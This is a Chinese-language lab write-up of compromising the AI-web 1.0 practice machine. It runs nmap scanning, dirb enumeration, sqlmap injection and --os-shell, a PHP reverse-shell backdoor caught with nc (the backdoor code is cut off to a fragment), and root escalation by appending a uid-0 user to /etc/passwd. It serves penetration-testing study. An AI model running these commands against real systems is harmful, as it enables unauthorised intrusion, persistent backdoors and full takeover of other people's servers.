AI-web 1.0靶机学习

AI-web 1.0靶机学习 第一步、主机发现 我们尝试使用nmap的二层发现功能进行主机扫描

nmap -sn 192.168.153.0/24

AI-web 1.0靶机学习
文章图片

第二步、端口扫描 我们初步确定靶机IP为192.168.153.135后,继续使用nmap进行端口扫描和信息收集。
nmap -A -p 1-65535 192.168.153.135 -T4

AI-web 1.0靶机学习
文章图片

我们发现靶机的80端口上运行apache服务,并且发现了一个文件上传的目录
我们尝试访问该ip的80端口,发现页面只有一句没什么用的话。。。
AI-web 1.0靶机学习
文章图片

第三步、web信息收集 我们使用dirsearch工具尝试扫一下网站的目录。
dirb http://192.168.153.135

AI-web 1.0靶机学习
文章图片

发现目录下存在robots.txt文件,我们看看里面有没有什么敏感文件。
AI-web 1.0靶机学习
文章图片

文件里给出了三个目录,我们依次进行访问,发现只有 /se3reTdir777/目录可以正常访问,发现是一个登陆点。
AI-web 1.0靶机学习
文章图片

我们输入任意数字,进行抓包判断,发现明显的注入点uid。使用sqlmap进行自动化扫描。
AI-web 1.0靶机学习
文章图片

第四步、sqlmap自动化注入 我们使用sqlmap进行自动化扫描。
python sqlmap.py -u "http://192.168.153.135/se3reTdir777/" --data "uid=1&peration=Submit" --dbs --batch

得到了我们想要的数据库 aiweb1
AI-web 1.0靶机学习
文章图片

继续对目标数据库中的表进行探测
python sqlmap.py -u "http:192.168.153.135/se3reTdir777/"--data "uid=1&peration=Submit" -Daiweb1 --tables --batch

AI-web 1.0靶机学习
文章图片

探测字段
sqlmap -u "http://192.168.153.135/se3reTdir777/" --data "uid=1&Operation=Submit"-D aiweb1 -T user --columns --batch

AI-web 1.0靶机学习
文章图片

发现没有我们想要的信息。。。。。。只能换思路。
第五步、sqlmap反弹shell 我们发现之前robots下存在一个 /m3diNf0/ 目录禁止访问,我们这里再次对其进行爆破。
dirb http://192.168.153.135/m3diNf0/

AI-web 1.0靶机学习
文章图片

我们发现目录下存在一个info.php,我们尝试对其进行访问。
发现这是一个phpinfo配置页面。并且在其中发现了网站的根目录在home下。
知道了网站的根目录,我们就可以尝试使用sqlmap反弹shell。
sqlmap -u "http://192.168.153.135/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell

AI-web 1.0靶机学习
文章图片

依次选择4:php web server
? 2:custom location
网站路径:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
? PS:优先选择此路径的原因是sql注入在该页面下。
第六步、php后门反弹shell ? 提示需要一个终端,所以我们得想办法反弹一个shell。在这里我们已经得到一个shell,可以写一个后门,在这里写一个php后门。
&3 2>&3"); ?>

我们尝试访问本地的127.0.0.1的4567端口。发现可以正常访问目录下的文件。
AI-web 1.0靶机学习
文章图片

我们在shell下载下a.php文件。
AI-web 1.0靶机学习
文章图片

我们在kali下监听 9966端口。
nc -lvp 9966

然后我们在使用php命令运行我们下载的php后门。
AI-web 1.0靶机学习
文章图片

我们可以发现kali已经成功反弹shell。
第七步、提权获得flag 我们首先使用ptthon提升为交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'

? 发现当前用户不是root用户但是这个用户可以对/etc/passwd 文件进行写入权限,所以我们试着添加一个用户看看: 因为写入的时候密码是加密的,所以要先加密密码:
openssl passwd -1 -salt abc 000000

再写入密码:
echo 'abc':$1$abc$yzqAxwzjwao0BUFj9nRwF/:0:0::/root:/bin/bash'>>/etc/passwd

最后使用su命令切换为root用户。得到Flag.
AI-web 1.0靶机学习
文章图片

使用su命令切换为root用户。得到Flag.
【AI-web 1.0靶机学习】

    推荐阅读